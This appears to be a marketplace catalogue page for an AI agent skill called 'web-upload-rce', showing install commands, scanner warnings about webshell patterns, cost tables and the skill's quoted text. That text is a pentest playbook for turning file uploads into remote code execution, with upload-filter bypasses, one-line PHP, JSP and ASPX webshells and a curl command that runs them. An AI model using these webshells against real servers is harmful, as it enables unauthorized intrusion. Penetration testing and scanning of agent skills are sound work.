Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill upload-rcegit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/upload-rce/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/upload-rce"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/upload-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 4 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 19 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
- high YARA Match · line 27 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
- high YARA Match · line 27 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
- high YARA Match · line 27 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00076 | $0.00688 |
| Opus 5.5 | $0.00030 | $0.00275 |
| Sonnet 5.5 | $0.00015 | $0.00138 |
| Haiku 4.5 | $0.00008 | $0.00069 |
Grade A, and why
web-upload-rce scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl 'http://<t>/uploads/shell.phtml?c=id' # execute → prove How it starts
The opening of the file, as written. The whole thing — 39 lines — stays where its author put it; the contents beside it link to each section on GitHub.
File Upload → RCE
When this fires
Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.
Detect
- Upload a benign file, find WHERE it lands (response URL, predictable
/uploads/<name>, guess via ffuf). - Probe the filter: try
.php,.phtml,.php5,.phar,.jsp,.aspx— note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).
Decide — which bypass
- Extension blocklist →
.phtml/.php5/.phar/.pht; doubleshell.php.jpg; trailingshell.php%00.jpg(old); caseshell.PHP;.php.(Apache). - MIME check only → keep
.php, setContent-Type: image/png. - Magic-byte/content check → prepend
GIF89a;or valid image header, then PHP:GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg). - Server config writable → upload
.htaccess(AddType application/x-httpd-php .jpg) then a.jpgwebshell. - SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (
../../) to write outside the upload dir.
Exploit → PROVE IMPACT
# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %> ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id' # execute → prove
Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.
Tooling
ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.
False positives / pitfalls
- Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
- Antivirus/content scan strips shells → try polyglot + less-common handler extension.
- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 39 lines · 76 tokens per session scan A a566ac34c0b1
web-upload-rce is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 76 tokens to every session and 688 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
lictor-security-check
Pre-release security audit for ANY project — AI-built or hand-written, web or mobile. Scans the codebase for the full range of real-world risks that get apps breached: leaked API & AI-provider keys, exposed configs/secrets, broken auth & access control (IDOR), injection (SQL/XSS/command), SSRF, open databases & cloud…
lictor-rotate
Walks the user through rotating a leaked API key — step by step, provider-specific. Knows the exact URL to visit, the exact button to click, and how to verify the rotation worked. Supports Stripe, OpenAI, Anthropic, Google Cloud / AI Studio, GitHub, AWS, Slack, Supabase, Firebase, Postmark, and generic OAuth providers.
lictor-explain
Takes any security finding, error message, or jargon-heavy security advice and explains it in plain English. Use this when someone is confused by what /lictor-security-check found, or when they got a security warning from another tool and don't understand it.
openai-patterns
Production OpenAI API patterns — model selection, prompt engineering, function calling, streaming, error handling, cost control, and structured outputs.
lictor-fix-it
Applies the fixes recommended by /lictor-security-check, with the user's explicit permission for each change. Walks through findings one at a time, shows the proposed change, gets approval, applies, runs tests if available, and moves on. Some fixes (rotating leaked credentials) require the user to act outside Claude …
pydantic-ai
Build production-ready AI agents with PydanticAI — type-safe tool use, structured outputs, dependency injection, and multi-model support.